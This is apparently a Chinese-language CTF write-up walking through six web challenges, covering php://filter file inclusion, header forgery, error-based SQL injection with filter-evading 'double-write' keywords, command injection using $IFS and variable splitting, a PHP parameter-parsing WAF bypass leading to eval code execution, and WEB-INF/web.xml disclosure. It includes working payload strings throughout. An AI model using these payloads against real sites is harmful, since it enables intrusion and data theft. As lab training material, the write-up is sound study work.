php://filter 协议
php://filter/read=convert.base64-encode/resource=flag.php
1 是格式
2是可选参数,有read和write,字面意思就是读和写
3是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
4是必选参数,后面写你要处理的文件名
[ACTF2020 新生赛]Include1
进入点击tips
发现这应该是个文件包含漏洞
我们是用php://filter 协议即可查看源码
我们构造payload
file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码
拿到flag
本题让我知道了php://filter 协议,每天一个小技巧
[极客大挑战 2019]Http
进入环境f12查看源码。。
搜索php
发现秘密,进入
访问的来源需要给定
伪造请求头
成功绕过,又要使用syclover浏览器
伪造
还要本地访问,继续伪造
成功拿到flag
[极客大挑战 2019]BabySQL
进入环境
尝试' or 1=1 #
是单引号闭合,经尝试#,--+等被过滤,可以使用or '1'='1闭合
select substr or and 等均被过滤,可使用双写绕过
尝试使用updatexml报错注入构造payload
-1' anandd updatexml(1,concat(0x7e,(select database()),0x7e),1) oorr '1'='1
成功发现数据库
继续注入
payload:-1' anandd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema='geek'),0x7e),1) oorr '1'='1
得到表
查询b4bsql都有哪些列
payload:-1' anandd updatexml(1,concat(0x7e,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'),0x7e),1) oorr '1'='1
依次查询
-1' anandd updatexml(1,concat(0x7e,subsubstrstr((selselectect group_concat(id) frofromm b4bsql ),1,10),0x7e),1) oorr '1'='1
-1' anandd updatexml(1,concat(0x7e,subsubstrstr((selselectect group_concat(username) frofromm b4bsql ),1,10),0x7e),1) oorr '1'='1
-1' anandd updatexml(1,concat(0x7e,subsubstrstr((selselectect group_concat(passwoorrd) frofromm b4bsql ),1,10),0x7e),1) oorr '1'='1
由于报错注入只能回显30个字符,因此可以调节substr参数来查看
最终在password的后几页发现flag
-1' anandd updatexml(1,concat(0x7e,subsubstrstr((selselectect group_concat(passwoorrd) frofromm b4bsql ),150,30),0x7e),1) oorr '1'='1
继续翻页
-1' anandd updatexml(1,concat(0x7e,subsubstrstr((selselectect group_concat(passwoorrd) frofromm b4bsql ),170,30),0x7e),1) oorr '1'='1
得到flag
flag{95bcc582-b675-4113-aa58-6e77108962a0}
--------------------------------------------------
ps,如果可以猜到用户名为admin,可以直接使用联合查询来登录
构造payload
?username=admin&password=admin' uunionnion sselectelect 1,2,3%23
并且存在回显地点,这样不用报错注入也可以查询
---------------------------------
在注入过程中,我还发现了admin的真正密码2333
ab1a7fb986a7efe495aca34bfaf36851
[GXYCTF2019]Ping Ping Ping
进入题目,尝试一个正常的ip
尝试使用&链接
没有回显
尝试使用;,|等
成功回显,cat flag
空格被过滤了
使用$IFS$1
似乎是绕过了,但是还有过滤,试试cat index
发现过滤了flag
那就用变量
构造payload
?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php
拿到flag
[RoarCTF 2019]Easy Calc 1
进入题目,是个计算器
随便输入点非法字符
不行,看看源码
发现了calc.php ,进去看看
有源码,芜湖,简单了。
通过审计,发现这里过滤了一些特殊字符,最后时使用eval函数执行代码,那就简单了,在输入的数字后面加个;,就可以随便写代码了233
emm ,多试几次,发现似乎只要num中有英文就会直接forbidden
所以这里就要用到PHP的字符串解析特性,(网上大佬的解释.)
php把URL参数转换为变量的过程中,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
所以我们可以这样写
calc.php?%20num=....
//在num前面加个空格这样在过WAF时,WAF接受到的是%20num 而%20num并不等于num,所以并不会触发WAF的规则,在过WAF后PHP再把URL参数转换为变量的过程中,会删除空白符,就变为num=...
也就是说在num前面加个空格,这样在waf中程序会以为传入的变量为“ num”,但在转化为php变量时,前面的空格会自动去掉,变为“num”,这样就绕过了waf
ok,绕过了forbidden的waf,接下来就是绕过黑名单了,
这里是吧“ ' ”过滤了,
接下来就有很多办法了,
法一(在本地可以,但在题目中就不行了,不知带为什么):
? num=7*7;system((string)base64_decode(bHMgLyAg))
使用base64可以不需要引号,似乎是个漏洞
如图在本地可以,但在题目中就不可以
法二:
使用chr函数
,因为chr函数传入的是数字,不是字符串,所以不需要单引号
?%20num=var_dump(scandir(chr(47)))
如图,发现f1agg
继续
?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
拿到了flag
[RoarCTF 2019]Easy Java1
考点: java web.xml配置文件漏洞
漏洞:【漏洞公告】Java web.xml 信息泄漏漏洞 - 阿里云安全产品和技术 - 阿里云
漏洞产生原因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取
漏洞利用:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
防范:一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404
web.xml文件的访问是通过post传参进行访问
解题流程:
1.点击下方help
通过这张图获取信息:1.和java有关的漏洞;2.可以通过传参filename作为注入点
2.查看web.xml文件
3.可以看出class文件的路径为filename=WEB-INF/classes/com/wm/ctf/FlagController.class
4.通过vscode查看二进制文件
发现bsae64编码的字符串
5.进行base64反编译即得结果: